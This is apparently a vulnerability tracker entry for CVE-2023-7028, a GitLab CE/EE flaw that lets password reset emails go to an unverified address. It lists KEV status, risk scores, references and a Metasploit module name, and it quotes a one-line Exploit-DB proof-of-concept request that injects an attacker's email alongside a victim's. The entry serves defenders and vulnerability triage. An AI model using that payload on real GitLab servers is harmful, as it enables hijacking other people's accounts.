CVE-2023-7028

unknown KEV

Published 2024-05-01 · Modified 2024-05-01

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

2.5

Description

GitLab Community and Enterprise Editions contain an improper access control vulnerability. This allows an attacker to trigger password reset emails to be sent to an unverified email address to ultimately facilitate an account takeover.

CISA KEV

Vendor: GitLab
Product: GitLab CE/EE
Due date: 2024-05-22

Predictions

Exploit likelihood

99%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-51889 remote java text · 1 KB

0xB455 · 2024-03-14

GitLab CE/EE < 16.7.2 - Password Reset

text exploit Source: Exploit-DB

# Exploit Title: GitLab CE/EE < 16.7.2 - Password Reset
# Exploit Author: Sebastian Kriesten (0xB455)
# Twitter: https://twitter.com/0xB455

# Date: 2024-01-12
# Vendor Homepage: gitlab.com
# Vulnerability disclosure: https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
# Version: <16.7.2, <16.6.4, <16.5.6
# CVE: CVE-2023-7028

Proof of Concept:
user[email][]=valid@email.com&user[email][]=attacker@email.com

Metasploit modules

auxiliary_admin/http/gitlab_password_reset_account_takeover rank 300

GitLab Password Reset Account Takeover

Source fetch failed: fetch_error — view the original via the link above.

References

https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/ ; https://nvd.nist.gov/vuln/detail/CVE-2023-7028

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.